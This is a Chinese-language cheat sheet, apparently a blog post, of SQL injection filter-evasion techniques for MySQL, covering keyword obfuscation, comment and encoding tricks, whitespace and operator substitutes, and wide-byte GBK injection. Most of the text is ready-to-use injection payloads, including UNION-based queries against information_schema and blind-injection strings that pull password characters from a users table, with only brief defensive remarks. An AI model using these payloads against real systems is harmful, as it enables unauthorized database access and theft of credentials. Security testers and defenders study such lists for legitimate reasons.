sql注入繞過

1、大小寫繞過
改變語句中單詞的大小寫即可,如:select=>SelEct

2、雙寫繞過
如下:
ununionion seselectlect

3、內聯註釋繞過

  • 內聯註釋就是把一些特有的僅在MYSQL上的語句放在 /!../
    中,這樣這些語句如果在其它數據庫中是不會被執行,但在MYSQL中會執行。

select * from users where id = -1 union /*!select*/ 1,2,3;

4、編碼繞過

進制繞過、url編碼繞過、ascii編碼繞過...
unicode編碼對部分符號的繞過:
單引號=> %u0037 %u02b9
空格=> %u0020 %uff00 左括號=> %u0028 %uff08 右括號=> %u0029 %uff09

5、<>繞過
某些網站過濾了“<>”符號纔行:unio<>n sel<>ect

6、註釋符繞過
uni/**/on se/**/lect

7、對空格的繞過

以下均可代替空格:
 /**/  (經常用)
%20 %09
()
回車(url編碼中的%0a)
`(tap鍵上面的按鈕)
tap
兩個空格


還有一種如下:使用浮點數:

select * from users where id=8E0union select 1,2,3
select * from users where id=8.0 select 1,2,3


8、對or/and的繞過

 and = &&
or = ||

9、對等號=的繞過

不加通配符的like執行的效果和=一致,所以可以用來繞過;

rlike的用法和上面的like一樣,沒有通配符效果和=一樣;

regexp:MySQL中使用 REGEXP 操作符來進行正則表達式匹配

用大於號和小於號表示

<> 等價於 !=  ,所以在前面再加一個!結果就是等號了
如:
select * from users where username like "test%";
select * from users where id like 1;
select * from users where id regexp 1;
select * from users where id > 1 and id < 3;
?id=1 or !(1 <> 1)或者1 !(<>) 1

10、對單引號的繞過

使用十六進制:     
select column_name  from information_schema.tables 
where table_name=0x7573657273;

寬字節:(常用在web應用使用的字符集爲GBK時,並且過濾了引號,就可以試試寬字節。)
%bf%27  %df%27  %aa%27
寬字節注入:

  過濾 ' 的時候往往利用的思路是將 ' 轉換爲 \' 。

  在 mysql 中使用 GBK 編碼的時候,會認爲兩個字符爲一個漢字,一般有兩種思路:

  (1)%df 喫掉 \ 具體的方法是 urlencode('\) = %5c%27,我們在 %5c%27 前面添加 %df ,形成 %df%5c%27 ,而 mysql 在 GBK 編碼方式的時候會將兩個字節當做一個漢字,%df%5c 就是一個漢字,%27 作爲一個單獨的(')符號在外面:

id=-1%df%27union select 1,user(),3--+

  (2)將 \' 中的 \ 過濾掉,例如可以構造 %**%5c%5c%27 ,後面的 %5c 會被前面的 %5c 註釋掉。
一般產生寬字節注入的PHP函數:

   1.replace():過濾 ' \ ,將 ' 轉化爲 \' ,將 \  轉爲 \\,將 " 轉爲 \" 。用思路一。

   2.addslaches():返回在預定義字符之前添加反斜槓(\)的字符串。預定義字符:' , " , \ 。用思路一

(防禦此漏洞,要將 mysql_query 設置爲 binary 的方式)

   3.mysql_real_escape_string():轉義下列字符:

\x00     \n     \r     \     '     "     \x1a

(防禦,將mysql設置爲gbk即可)

11、對逗號的繞過

盲注中使用 from n1 for n2 ,其中n1代表從n1個開始讀取n2長度的子串

select substr("string",1,3);
等價於 select substr("string" from 1 for 3);

使用join關鍵字來繞過

union select 1,2,3
等價於 union select * from (select 1)a join (select 2)b join(select 3)c

使用offset關鍵字:

適用於limit中的逗號被過濾的情況
limit 2,1等價於limit 1 offset 2

12、過濾函數繞過

sleep() -->benchmark()

and sleep(1)
等價於 and benchmark(1000000000,1)

group_concat()–>concat_ws()

select group_concat("str1","str2");
等價於 select concat_ws(",","str1","str2")

其他如下:hex()、bin() ==> ascii()

mid()、substr() ==> substring()

@@user ==> user()

@@datadir ==> datadir()

舉例:substring()和substr()無法使用時:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 

或者:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1

13、繞過union,select,where等

(1)使用註釋符繞過:

  常用註釋符:

//,-- , /**/, #, --+, -- -, ;,%00,--a

  用法:

U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user

(2)使用大小寫繞過:

id=-1'UnIoN/**/SeLeCT

(3)內聯註釋繞過:

id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#

(4) 雙關鍵字繞過(若刪除掉第一個匹配的union就能繞過):

id=-1'UNIunionONSeLselectECT1,2,3–-

持續更新中。。。。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章